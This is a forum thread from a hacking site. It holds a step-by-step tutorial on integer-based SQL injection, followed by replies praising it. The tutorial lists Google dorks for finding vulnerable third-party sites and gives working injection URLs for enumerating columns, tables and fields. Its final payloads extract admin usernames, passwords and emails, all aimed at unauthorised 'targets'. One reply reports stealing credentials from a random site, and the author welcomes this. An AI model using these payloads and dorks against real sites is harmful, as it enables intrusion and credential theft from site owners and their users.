

Forum: [Hack Forums](#)

Thread: [\[Tutorial\] Basic Integer Based SQL Injection \[Team Intra\]](#)

Inso - August 27, 2011, 2:58 pm

[img]http://i1178.photobucket.com/albums/x362/JupiiterDesigns/GoldenShield.png[/img]

Basic SQL Injection Tutorial
by Jackeh

Contents

What is SQL Injection?

Google dorks?

Is my site vulnerable?

ORDER BY ?--

UNION SELECT

VERSION()

Table_Name

Column_Name

Magic Quotes?

Extracting Data

What is SQL Injection?

SQL Injection (Or SQLi for short) is a method of code injection into Structured Query Language (SQL) databases. It exploits a security issue where a user's input is not correctly filtered, usually due to poorly coded query language interpreters.

Consider this code:

Spoiler [\(Click to View\)](#)

```
Code statement = "SELECT * FROM `members` WHERE `user` = '" + user + "';"
```

The above statement selects the specified "user" from the "members" table. Do you see any problems with this? Consider the following input as a username:

Spoiler [\(Click to View\)](#)

```
Code ' or 'x' = 'x
```

When the database tries to pull up records of that username, this is the resulting query:

Spoiler ([Click to View](#))

```
Code SELECT * FROM `members` WHERE `user` = " OR 'x'='x';
```

Now, as you can see, the username is actually completely blank contained within the "", but the following OR statement will return true, as 'x' always = 'x'. Due to this problem of incorrectly filtering database queries, the hacker can input his/her own malicious code.

The above was just one example of SQL Injection, what we will be learning in this tutorial, is integer based SQL Injection using the ORDER BY and UNION SELECT queries.

Google Dorks?

Before we get started on the rest of the tutorial, you will need to know what a Google dork is, and no, it's not the kind of dork you are thinking of!

A google dork is a small search phrase done by the hacker to find sites vulnerable to SQL Injection. Usually this search term will be very small and it will look for specific lines of text within the webpage or in the URL. I've included some here as a start:

Spoiler ([Click to View](#))

```
Code inurl:trainers.php?id=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:Pageid=
inurl:games.php?id=
inurl:newsDetail.php?id=
inurl:staff_id=
inurl:news_view.php?id=
inurl:humor.php?id=
inurl:pages.php?id=
inurl:view.php?id=
inurl:detail.php?ID=
inurl:publications.php?id=
inurl:Productinfo.php?id=
inurl:releases.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:section.php?id=
inurl:page.php?id=
inurl:newsid=
inurl:news_display.php?getid=
```

Is my site vulnerable?

Now after you have found a site using a Google dork you need to check if it is vulnerable to integer based SQL Injection. To do this, it's simple. All you need to do is add an apostrophe (') to end of the URL. You should get an error similar to this back:

Spoiler ([Click to View](#))

Code Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\\' ORDER BY date_added DESC' at line 1

If you get this error, it usually means your site is vulnerable!

ORDER BY x--

Our first step to accessing the database, will be to find how many columns there are in the site. To do this, we use the ORDER BY x-- query (x being an integer variable). Example:

Spoiler ([Click to View](#))

Code `www.examplesite.com/index.php?id=5 ORDER BY 1--`

We want to keep increasing "x" until we get back an error. So why? Imagine our database has 4 columns, if we try to order by the 5th, it can't access it. It doesn't exist. So if we get an error on ORDER BY 5--, it means we have 4 columns. Here is an example:

Spoiler ([Click to View](#))

Code `www.examplesite.com/index.php?id=5 ORDER BY 1--` (No error)

`www.examplesite.com/index.php?id=5 ORDER BY 2--` (No error)

`www.examplesite.com/index.php?id=5 ORDER BY 3--` (No error)

`www.examplesite.com/index.php?id=5 ORDER BY 4--` (No error)

`www.examplesite.com/index.php?id=5 ORDER BY 5--` (Error)

We can now determine the site has 4 columns.

UNION SELECT

We use the union select statement to combine the results of multiple queries in our SQLi. To test if it works, go to our sites normal URL, and write "UNION SELECT 1,2,3,4--" (without quotes) after it. In our example, we use "1,2,3,4--", but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".

Spoiler ([Click to View](#))

Code `www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,3,4--`

You have probably noticed several numbers have appeared on the page. This is the vulnerable columns we are going to use for our SQLi. In our example, column 3 is vulnerable. You have also probably noticed I have replaced id=5 with id=-5. The reason for this is that sometimes our query on the page will be covered up by text or images, making it hard to find, or only viewable in the source code. To bypass this, we try to get the site to call a non-existing page (id=-5, there are no pages with the ID of -5). Usually this will result in the page being cleared of all text and images. If it doesn't work, just remove the - and continue on as normal.

VERSION()

This will be one of the easier things to do and understand, the name of the query itself is self explanatory. After we have tested UNION SELECT (and it works) we simply input VERSION() into one of the vulnerable columns in our URL, example:

Spoiler ([Click to View](#))

Code `http://www.examplesite.com/index.php?id=-5 union select 1,2,VERSION(),4--`

We had 4 columns in our example and the vulnerable column was number 3. We have replaced the number 3 with VERSION(). You should now see the SQL version of the database. This tutorial will only deal with Integer based injection on SQL version 5 and above.

If our target has a version over 5, continue reading, if not, you need to find a new target or read a different tutorial.

Table_name

Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace VERSION() with group_concat(table_name). Then after your last column number, add "from information_schema.tables--". Example:

Spoiler ([Click to View](#))

Code `http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(table_name),4 from information_schema.tables--`

What this code is doing, is combining the queries of column 1,2,3 and 4. In column 4, it is selecting all possible table names. These queries are then taken from information_schema.tables. You should now see a list of all table names on the screen.

Column_name

To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. What we want to use is a table which seems like it would include some good information, for our example, we are going to say we found the table "admin". Example:

Spoiler ([Click to View](#))

Code `http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name='admin'--`

Here, as before, we are combining the queries of 1,2,3 and 4. In column 3 we are requesting all of the column names from information_schema.columns, but this time only from where the table_name is equal to "admin". Otherwise we would get the name of every column in the database, and this would just take much longer to go through.

Magic Quotes?

One common problem when completing the Column_Name stage is that they still receive an error. This can be frustrating to those new to SQL Injection, so I'm going to cover the reason for this.

The problem here, is that the admin of the site has attempted to outsmart you by using "Magic Quotes". What this does, is it only allows you to select from the table if the table_name is in hex. You can convert your table name to hex by going here:

<http://www.swingnote.com/tools/texttohex.php>

Our query will now look like this:

Spoiler ([Click to View](#))

Code `http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x61646d6996e--`

You have most likely noticed that if you convert our plaintext column name into hex, the 0x isn't

shown. The 0x is something we put in ourselves, which tells the site that the following text is going to be in hex.

Extracting Data

To finish off, we need to extract the data from the columns we have chosen. Once we found out the column_names, we can then use them in our group_concat() query to get exactly what we have been looking for. In our example, we will have found the column names "username", "password" and "email".

Spoiler ([Click to View](#))

Code `http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,email) from admin--`

This query extracts the usernames, passwords and emails from the admin table. Remember I told you what 0x does? Well you will notice it again in our last query. 0x3a is the hex code for a colon (:). It is used so we can separate our results easier, by doing this, we will get returned the following:

Spoiler ([Click to View](#))

Code `ExUser1:ExPass1:ExEmail1
ExUser2:ExPass2:ExEmail2
ExUser3:ExPass3:ExEmail3`

Thanks for reading. I hope you learnt something from this guide. If you have any questions, PM me!

SIM-99212 - August 27, 2011, 3:09 pm

Great tutorial!

Excellent formatting too.

Inso - August 27, 2011, 3:10 pm

Thanks for the feedback! Suggestions on improving the format would be appreciated too, I do like the layout myself, especially the header colours matching the badge at the top :P

HaxOr? - August 27, 2011, 6:47 pm

Nice thread you have here...Good layout.

Bookmarked it!

M?D - August 27, 2011, 6:48 pm

Thanks for the share I was always wondering.

eskoweb - August 27, 2011, 8:23 pm

great share every member can have more info about sql inc. with this

king_hendra - August 27, 2011, 8:56 pm

its hard to find sql v5 i find a lot v4,how to inject that version

kobez - August 27, 2011, 9:11 pm

Great tutorial yet again jackeh :)
and awesome layout you have there!

~kobez

gizmodo - August 27, 2011, 9:20 pm

This is a good tutorial hats off to your
sir.(54686973206973206120676f6f64207475746f7269616c2068617473206f6666620746f20796f757
220736972)

dumar - August 28, 2011, 1:14 am

really good job mate :)
Intra Team ftw!

mellamin - August 28, 2011, 1:58 am

Nice tutorial, mate! Very usefull. I will try it :)

Crossy - August 28, 2011, 2:27 am

@jackeh

Brother it's a very nice, tutorial as i never know anything regarding sqli, i learnt a lot from this.
The middle part i understood last was a bit advanced.

I just wanted to ask you a question the first injection
the codes where do we have write these codes? for example 'x='x' etc
we have to write these on username text bar , password text bar or on the url box?

-ThatGuy- - August 28, 2011, 2:27 am

Great formatting , great tutorial for begginers !
Keep it up. ?

iN^SaNE - August 28, 2011, 2:29 am

I cant find a vulnerble site?
msg to short

Inso - August 28, 2011, 4:41 am

@crossy

Sites like that are less common, so they aren't the main feature. But if you are doing that one then it
needs to be inputed to a login box, e.g, username and password. Hope this helps!

@everyone else

Thanks for the supportive feedback!

JeanLynch - August 28, 2011, 1:32 pm

Thank you very helpful tutorial for beginner! I actually was able to find user id and password off
some random site

Inso - August 28, 2011, 3:02 pm

That's very good then! I'm glad people are learning from this tutorial.
Thanks for the feedback!

b0lt - September 1, 2011, 10:52 am

Good Job mate!! :) Keep those tuts coming :D

Inso - September 1, 2011, 11:07 am

Thanks. ^^ I'll hopefully make another tutorial soon. Either on Port Scanning or XSS, seeing as
those are easy and beginners should pick up on them quickly. :P

Mx. - September 1, 2011, 12:08 pm

Well done jackeh for contributing your knowledge, and nice desinging the thread itself.

Serum - September 1, 2011, 12:15 pm

Thanks for an awesome tutorial, was very helpfull!

Inso - September 1, 2011, 12:57 pm

Thanks for all the good feedback guys. Just happy to help fellow HF users!

Stage6 - September 2, 2011, 2:52 am

Nice tutorial by Jackeh :D..BookMarked..i really enjoyed :D

-Stage6

p4prathamesh - September 2, 2011, 3:04 am

Awesome tutorial + Awesome layout = Awesome Thread .

Anonymous.7654 - September 2, 2011, 4:01 am

Very nice Guide about SQL Injection.Thanks so much.

Inso - September 2, 2011, 9:24 am

No problem and thanks for the feedback. Share it with your friends if possible ;)

nob - September 3, 2011, 7:38 am

Thanks For The Nice Tutorial I Will Give It A Try Soon

Inso - September 3, 2011, 10:03 am

Okay, good luck with practicing/trying! ^^

Inso - September 4, 2011, 1:33 pm

More than 400 views, less than 40 replies. Come on people! Some feedback would be appreciated.
^^

thomas242007 - October 2, 2011, 10:08 pm

Very nice tutorial 5 Stars, ill give this a go tommaro sometime

Wires - October 2, 2011, 11:30 pm

Really good Tutorial, didnt get a chance to read it all ?

Inso - October 3, 2011, 11:01 am

Thanks for the feedback. Although there are many automated tools for SQL Injection, it's good to know how to do it manually!

Alphaseek - February 13, 2012, 6:10 am

wow, that was really well explained guide I have ever seen on HF.
Thanks for the share.

strandquist - February 26, 2012, 6:02 pm

Great format and great tutorial, thanks for the help

Nav - March 14, 2012, 11:57 pm

A very informative tutorial! Good job!

AgentWolf - July 5, 2012, 9:35 pm

I got the number of columns to 6 (point of error) But when i go to use the union select (union select 1,2,3,4,5,6--) I get a blank white screen. I tried puting the - in front of the Id but it does not work. What should I do?

S a i n t - July 5, 2012, 10:30 pm

Thanks bro this is real helpful
SS

Zepher - July 5, 2012, 10:38 pm

This is a great tutorial. Thanks for the share. :)

Betelguese - July 6, 2012, 2:50 pm

Nice tutorial. Easy to read layout as well.

Inso - July 7, 2012, 11:28 am

(Jul 5, 2012 09:35 PM)AgentWolf Wrote: [\[CITE\]](#) I got the number of columns to 6 (point of error) But when i go to use the union select (union select 1,2,3,4,5,6--) I get a blank white screen. I tried puting the - in front of the Id but it does not work. What should I do?

If you got an error on 6, it means you need to use union select 1,2,3,4,5--. :P

Infinity. - July 7, 2012, 11:32 am

Awesome and HQ tutorial mate...Thanks for the share..^^

ImSecure - July 7, 2012, 12:48 pm

Thanks for this tutorial . Still reading and it's still HELPFULL !

Zixem - July 7, 2012, 12:52 pm

Nice thread, keep it up.

~*Zixem ?

Betelguese - July 7, 2012, 1:19 pm

This might be a dumb question but does this work for hotmail?

shalom_mizrahi - July 7, 2012, 1:33 pm

thanks man...i would like to hear more about blind int sqli...

mmike148 - July 7, 2012, 5:32 pm

great job my friend! very helpfull :)

Callisto89 - July 7, 2012, 10:23 pm

wow! Nice tutorial dude, very clear, thanks !

TheNeutron - July 8, 2012, 1:50 am

Really nice Thread formatting man! HQ post indeed! :D

Dantesco - July 8, 2012, 1:55 pm

Nice and well structured tutorial, and easy to read too. Thanks

sorrows - July 8, 2012, 2:41 pm

I needed this, but then again I'm still lazy..

